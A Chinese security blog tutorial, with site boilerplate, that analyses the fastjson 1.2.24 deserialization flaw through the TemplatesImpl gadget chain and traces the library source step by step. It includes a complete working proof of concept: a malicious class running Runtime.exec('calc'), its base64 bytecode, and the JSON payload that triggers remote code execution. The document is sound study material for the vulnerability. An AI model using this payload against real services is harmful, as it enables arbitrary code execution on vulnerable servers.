我的编程空间,编程开发者的网络收藏夹
学习永远不晚

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

这篇文章主要介绍“java安全fastjson1.2.24反序列化TemplatesImpl实例分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“java安全fastjson1.2.24反序列化TemplatesImpl实例分析”文章能帮助大家解决问题。

漏洞环境:

fastjson1.2.24

jdk1.7.80

新建一个maven项目在pom.xml文件中引入fastjson的依赖:

        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.24</version>        </dependency>

fastjson是alibaba开源的一个用于处理json数据格式的解析库,它支持将java对象解析成json字符串格式的数据,也可以将json字符串还原成java对象。不难看出,java对象转换成json数据就是序列化操作,而将json数据还原成java对象就是反序列化过程。

1. fastjson序列化

现在我们来看一下fastjson序列化过程,定义一个pojo类:

public class Student {     private String name;    private int age;     public Student() {        System.out.println(" method: Student() ");    }    public Student(String name , int age) {        System.out.println(" method: Student(String name , int age) ");        this.name = name;        this.age = age;    }     public String getName() {        System.out.println(" method: getName() ");        return name;    }    public int getAge() {        System.out.println(" method: getAge() ");        return age;    }    public void setName(String name) {        System.out.println(" method: setName() ");        this.name = name;    }    public void setAge(int age) {        System.out.println(" method setAge() ");        this.age = age;    }}

示例程序:

public class FastjsonTest1 {    public static void main(String[] args) {        Student student = new Student("zhangsan" , 3);        String jsonString = JSON.toJSONString(student);        System.out.println(jsonString);    }}

执行结果如下:

 method: Student(String name , int age)

 method: getAge()

 method: getName()

{"age":3,"name":"zhangsan"}

fastjson调用toJSONString方法将Student对象转换成json字符串数据的过程中会调用对象的getter方法。

另外toJSONString方法在进行序列化时还可以指定一个可选的SerializerFeature.WriteClassName参数,指定了该参数后,在序列化时json数据中会写入一个@type选项,

如下所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

 json数据中的@type选项用于指定反序列化的类,也就是说所,当这段json数据被反序列化时,会按照@type选项中指定的类全名反序列化成java对象。

2. fastjson反序列化

fastjson提供了两个反序列化函数:parseObject和parse,我们通过示例程序来看一下fastjson的反序列化过程

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

方式一调用了parseObject方法将json数据反序列化成java对象,并且在反序列化过程中会调用对象的setter和getter方法。

方式二调用了parseObject方法进行反序列化,并且指定了反序列化对象Student类,parseObject方法会将json数据反序列化成Student对象,并且在反序列化过程中调用了Student对象的setter方法。

方式三调用了parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法。

关于Feature.SupportNonPublicField参数:

以上这三种方式在进行反序列化时都会调用对象的构造方法创建对象,并且还会调用对象的setter方法,如果私有属性没有提供setter方法时,那么还会正确被反序列化成功吗?为了验证这个猜想,现在我们把Student对象的私有属性name的setter方法去掉。

从程序执行结果来看,私有属性name并没有被正确反序列化,也就是说fastjson默认情况下不会对私有属性进行反序列化。

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

如果需要将私有属性反序列化时,就可以调用parseObject方法指定Feature.SupportNonPublicField参数,

如下所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

 方式一反序列化时没有指定Feature.SupportNonPublicField参数,私有属性name没有反序列化时没有值,方式二和方式三指定了Feature.SupportNonPublicField参数后,私有属性name可以正确被反序列化。

3. fastjson反序列化漏洞原理

在上一小节中我们知道fastjson在进行反序列化时会调用目标对象的构造,setter,getter等方法,如果这些方法内部进行了一些危险的操作时,那么fastjson在进行反序列化时就有可能会触发漏洞。

我们通过一个简单的案例来说明fastjson反序列化漏洞原理

package com.fastjson; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature; import java.io.IOException;  //定义一个恶意类TestTempletaHelloclass TestTempletaHello {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            e.printStackTrace();        }    }}public class FastjsonTest1 {    public static void main(String[] args) {        //创建恶意类的实例并转换成json字符串        TestTempletaHello testTempletaHello = new TestTempletaHello();        String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName);        System.out.println(jsonString);        //将json字符串转换成对象        Object obj = JSON.parse(jsonString);        System.out.println(obj);    }}

在这个示例程序中先是构造了一个恶意类,然后调用toJSONString方法序列化对象写入@type,将@type指定为一个恶意的类TestTempletaHello的类全名,当调用parse方法对TestTempletaHello类进行反序列化时,会调用恶意类的构造方法创建实例对象,因此恶意类TestTempletaHello中的静态代码块中就会被执行。

执行结果如下:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

4. fastjson1.2.24漏洞复现

在实际场景中很多类没有这么明显的可以产生漏洞的代码,往往需要攻击者自己想方设法通过一些操作(例如反射,类加载,一些危险的函数)来构造一个漏洞利用环境。

在学习CC2利用链的时候我们分析了一个基于TemplatesImpl类的利用链,该类会把_bytecodes属性的字节码内容加载并实例化,关于TemplatesImpl类的利用链的具体介绍可参考CC2利用链。

fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl类来构造利用链,思路如下:

  • 构造一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并进行base64编码。

  • 然后构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置到_bytecodes属性中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性中的TempletaPoc类并实例化,从而触发漏洞。

定义一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist将恶意类TempletaPoc转换成字节码,然后进行base64编码

package com.fastjson.pojo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TempletaPoc extends AbstractTranslet {//构造RCE代码    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            e.printStackTrace();        }    }    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {     }}

最终的poc代码:

package com.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializerFeature;import com.fastjson.pojo.Student;import com.fastjson.pojo.TempletaPoc;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.security.utils.Base64;import javassist.*; import java.io.IOException;public class FastjsonTest1 {    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {        //恶意类TempletaPoc转换成字节码,base64编码        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";        //构造TemplatesImpl的json数据,并将恶意类注入到json数据中        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String payload = "{\"@type\":\"" + NASTY_CLASS +                "\",\"_bytecodes\":[\""+byteCode+"\"]," +                "'_name':'TempletaPoc'," +                "'_tfactory':{}," +                "\"_outputProperties\":{}}\n";        System.out.println(payload);        //反序列化        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);    }}

这里解释一下payload的构造:

  • @type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。

  • _bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。

  • _name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)

  • _tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

  • outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

漏洞利用成功,接下来我们分析一下parseObject方法是如何触发漏洞的

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

5. fastjson1.2.24漏洞分析

参数features是一个可变参数,parseObject方法底层实际上是调用了parse方法进行反序列化,并且将反序列化的Object对象转成了JSONObject

    public static JSONObject parseObject(String text, Feature... features) {        return (JSONObject) parse(text, features);    }

parse方法会循环获取可变参数features中的值,然后继续调用parse方法

public static Object parse(String text, Feature... features) {        int featureValues = DEFAULT_PARSER_FEATURE;        for (Feature feature : features) {            featureValues = Feature.config(featureValues, feature, true);        }         return parse(text, featureValues);    }

分析parse方法:

    public static Object parse(String text, int features) {        if (text == null) {            return null;        }//将json数据放到了一个DefaultJSONParser对象中        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);//然后调用parse方法解析json        Object value = parser.parse();         parser.handleResovleTask(value);         parser.close();         return value;    }

parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

public Object parse(Object fieldName) {        final JSONLexer lexer = this.lexer;        switch (lexer.token()) {//省略部分代码......            case LBRACE://创建一个JSONObject对象                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));//parseObject方法                return parseObject(object, fieldName);//省略部分代码......}}

继续跟进parseObject方法;

public final Object parseObject(final Map object, Object fieldName) {//省略部分代码......//从json中提取@typekey = lexer.scanSymbol(symbolTable, '"');//省略部分代码......//校验@typeif (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {//提取type对应的值String typeName = lexer.scanSymbol(symbolTable, '"');//然后根据typeName进行类加载Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); if (clazz == null) {object.put(JSON.DEFAULT_TYPE_KEY, typeName);continue;}}//省略部分代码......//然后将class对象封装成ObjectDeserializer对象ObjectDeserializer deserializer = config.getDeserializer(clazz);//然后调用deserialze方法进行反序列化return deserializer.deserialze(this, clazz, fieldName);}

parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

我们来看一下deserializer的内容,如下图所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

 TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了。

然后调用了deserialze方法,该方法中的参数如下所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说。

protected <T> T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {     //省略部分代码......     //调用createInstance方法实例化    if (object == null && fieldValues == null) {                    object = createInstance(parser, type);                    if (object == null) {                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);                    }                    childContext = parser.setContext(context, object, fieldName);                }//省略部分代码......//调用parseField方法解析jsonboolean match = parseField(parser, key, object, type, fieldValues);}

 我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段。

parseField方法:

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {//省略部分代码......         FieldDeserializer fieldDeserializer = smartMatch(key);//SupportNonPublicField选项        final int mask = Feature.SupportNonPublicField.mask;//if判断会校验SupportNonPublicField选项        if (fieldDeserializer == null                && (parser.lexer.isEnabled(mask)                    || (this.beanInfo.parserFeatures & mask) != 0)) {            //获取TemplatesImpl对象的属性信息        } //省略部分代码...... //调用parseField方法解析字段        fieldDeserializer.parseField(parser, object, objectType, fieldValues);         return true;    }

parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞。

校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object。

    @Override    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {//省略部分代码......//解析json中的数据(将每个属性的值还原)value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);  //省略部分代码......  setValue(object, value);   }

可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)。

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

继续跟进fieldValueDeserilizer的deserialze方法

    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {//省略部分代码......         if (lexer.token() == JSONToken.LITERAL_STRING) {//调用了bytesValue方法            byte[] bytes = lexer.bytesValue();            lexer.nextToken(JSONToken.COMMA);            return (T) bytes;        }//省略部分代码......}

deserialze方法内部调用了bytesValue方法。

bytesValue方法内部调用了确实对json数据中的_bytecodes值进行了base64解码

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

前面我们说过json数据中的outputProperties的作用是触发TemplatesImpl利用链的

触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法。

继续分析setValue方法是如何触发漏洞的

public void setValue(Object object, Object value){//首先校验value是否为null        if (value == null //            && fieldInfo.fieldClass.isPrimitive()) {            return;        }         try {//根据outputProperties属性获取对应的方法            Method method = fieldInfo.method;            if (method != null) {                if (fieldInfo.getOnly) {                    if (fieldInfo.fieldClass == AtomicInteger.class) {                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);                        if (atomic != null) {                            atomic.set(((AtomicInteger) value).get());                        }                    } else if (fieldInfo.fieldClass == AtomicLong.class) {                        AtomicLong atomic = (AtomicLong) method.invoke(object);                        if (atomic != null) {                            atomic.set(((AtomicLong) value).get());                        }                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);                        if (atomic != null) {                            atomic.set(((AtomicBoolean) value).get());                        }                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {//反射调用getOutputProperties方法                        Map map = (Map) method.invoke(object);                        if (map != null) {                            map.putAll((Map) value);                        }                    } else {                        Collection collection = (Collection) method.invoke(object);                        if (collection != null) {                            collection.addAll((Collection) value);                        }                    }                } else {                    method.invoke(object, value);                }                return;            }    }//省略部分代码......}

setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)。

fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法。

关于getOutputProperties方法的调用

不知道大家有没有思考过fastjson是如何获取到getOutputProperties方法的?原因在于parseField方法内部调用了JavaBeanDeserializer类的smartMatch方法

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

smartMatch方法会将json中的_outputProperties中的下划线去掉,替换成outputProperties并封装到fieldInfo中,我们知道fastjson在反序列化过程中会调用属性的getter方法,因此这里还会将outputProperties属性的getter方法也封装到fieldInfo中的method当中。

    public FieldDeserializer smartMatch(String key) {  //省略部分代码......                if (fieldDeserializer == null) {            boolean snakeOrkebab = false;            String key2 = null;            for (int i = 0; i < key.length(); ++i) {                char ch = key.charAt(i);//是否有"_"特殊字符串                if (ch == '_') {                    snakeOrkebab = true;//把_字符串替换为空                    key2 = key.replaceAll("_", "");                    break;                } else if (ch == '-') {                    snakeOrkebab = true;                    key2 = key.replaceAll("-", "");                    break;                }            }            if (snakeOrkebab) {                fieldDeserializer = getFieldDeserializer(key2);                if (fieldDeserializer == null) {                    for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {                        if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {                            fieldDeserializer = fieldDeser;                            break;                        }                    }                }            }        }       //省略部分代码......      }

我们貌似... 大概知道了getOutputProperties方法是如何获取的,继续思考一下:fastjson在反序列化过程中具体是如何调用属性的getter方法的?

答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

getter方法的查找方式需要满足以下几个条件:

方法名长度不小于4

必须是非静态方法

必须get字符串开头,并且第四个字符为大写字母

方法中不能有参数

返回值继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

在getter方法中不能有setter方法

这样一来自然就获取到了getOutputProperties( )方法,当setValue方法从FieldInfo获取到outputProperties属性和getOutputProperties方法并反射调用getOutputProperties方法就会触发TemplatesImpl利用链。

getOutputProperties方法内部调用了newTransformer方法

    public synchronized Properties getOutputProperties() {        try {//调用newTransformer方法            return newTransformer().getOutputProperties();        }        catch (TransformerConfigurationException e) {            return null;        }    }

newTransformer方法内部调用了getTransletInstance方法

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {        TransformerImpl transformer;//调用了getTransletInstance方法        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,            _indentNumber, _tfactory);         if (_uriResolver != null) {            transformer.setURIResolver(_uriResolver);        }         if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {            transformer.setSecureProcessing(true);        }        return transformer;    }

getTransletInstance方法内部会对_name和_class进行不为null校验, 我们构造的payload没有_class,因此这里_class为null会调用defineTransletClasses方法加载_bytecodes属性的类字节码(加载TempletaPoc类)。

    private Translet getTransletInstance() throws TransformerConfigurationException {        try {            if (_name == null) return null;//调用defineTransletClasses方法            if (_class == null) defineTransletClasses();//根据_class实例化类AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();    }

跟进defineTransletClasses方法:

    private void defineTransletClasses() throws TransformerConfigurationException {//校验_bytecodes        if (_bytecodes == null) {            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);            throw new TransformerConfigurationException(err.toString());        }         TransletClassLoader loader = (TransletClassLoader)            AccessController.doPrivileged(new PrivilegedAction() {                public Object run() {//通过_tfactory调用getExternalExtensionsMap方法                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());                }            });         try {            final int classCount = _bytecodes.length;            _class = new Class[classCount];             if (classCount > 1) {                _auxClasses = new Hashtable();            }             for (int i = 0; i < classCount; i++) {//加载_bytecodes中的类(TempletaPoc)                _class[i] = loader.defineClass(_bytecodes[i]);//获取TempletaPoc的父类                final Class superClass = _class[i].getSuperclass();                 // Check if this is the main class//是否继承了AbstractTranslet类                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                    _transletIndex = i;                }                else {                    _auxClasses.put(_class[i].getName(), _class[i]);                }            }             if (_transletIndex < 0) {                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);                throw new TransformerConfigurationException(err.toString());            }        }        catch (ClassFormatError e) {            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }        catch (LinkageError e) {            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }    }

defineTransletClasses方法内部会加载_bytecodes中的类字节码数据(加载TempletaPoc类),并且会校验TempletaPoc类是否继承了AbstractTranslet类。然后返回到getTransletInstance方法中,调用newInstance方法实例化TempletaPoc类执行RCE代码。

关于“java安全fastjson1.2.24反序列化TemplatesImpl实例分析”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网行业资讯频道,小编每天都会为大家更新不同的知识点。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

这篇文章主要介绍“java安全fastjson1.2.24反序列化TemplatesImpl实例分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“java安全fastjson1.2.24反序列化Te
2023-07-02

Java序列化和反序列化示例分析

这期内容当中小编将会给大家带来有关Java序列化和反序列化示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。序列化是为了把Java对象转化为字节序列(字节流)的过程。然后深拷贝是通过对流的操作来实现的
2023-06-26

Ezpop pop序列化链反序列化实例分析

这篇文章主要介绍了Ezpop pop序列化链反序列化实例分析的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Ezpop pop序列化链反序列化实例分析文章都会有所收获,下面我们一起来看看吧。
2023-06-30

Java中序列化与反序列化的示例分析

这篇文章将为大家详细讲解有关Java中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。一、前言序列化:将对象转换为二进制序列在网络中传输或保存到磁盘反序列化:从网络或磁盘中将二进制
2023-06-15

Java对象的序列化和反序列化举例分析

本篇内容介绍了“Java对象的序列化和反序列化举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1、什么是序列化与反序列化?  序列化:
2023-06-19

PHP反序列化漏洞实例分析

本篇内容介绍了“PHP反序列化漏洞实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、PHP面向对象编程在面向对象的程序设计(Obje
2023-06-29

Java对象的XML序列化与反序列化实例解析

上一篇文章我们介绍了java实现的各种排序算法代码示例,本文我们看看Java对象的xml序列化与反序列化的相关内容,具体如下。XML是一种标准的数据交换规范,可以方便地用于在应用之间交换各类数据。如果能在Java对象和XML文档之间建立某种
2023-05-30

PHP反序列化原生类实例分析

这篇文章主要介绍“PHP反序列化原生类实例分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP反序列化原生类实例分析”文章能帮助大家解决问题。浅析php反序列化原生类的利用如果在代码审计或者ct
2023-06-30

Python中序列化与反序列化的示例分析

这篇文章将为大家详细讲解有关Python中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。初识序列化与反序列化什么是序列化?通俗一点来说,序列化就是将 对象的信息 或者 数据结构的
2023-06-29

Python反序列化的示例分析

这篇文章给大家分享的是有关Python反序列化的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。Python反序列化漏洞Pickle序列化:pickle.dumps() 将对象序列化为字符串、pickle.
2023-06-29

Thinkphp3.2.3反序列化漏洞实例代码分析

这篇文章主要介绍“Thinkphp3.2.3反序列化漏洞实例代码分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Thinkphp3.2.3反序列化漏洞实例代码分析”文章能帮助大家解决问题。魔术方法
2023-07-05

PHP反序列化入门代码实例分析

本文小编为大家详细介绍“PHP反序列化入门代码实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“PHP反序列化入门代码实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。php反序列化简单理解首先我们需要
2023-07-05

Java序列化与字典功能的序列化实例分析

这篇文章主要介绍了Java序列化与字典功能的序列化实例分析的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Java序列化与字典功能的序列化实例分析文章都会有所收获,下面我们一起来看看吧。两种解决方案前端查询字典数
2023-07-02

PHP中session反序列化的示例分析

小编给大家分享一下PHP中session反序列化的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞其中session.serialize_handl
2023-06-29

Java安全之Mojarra JSF反序列化讲解

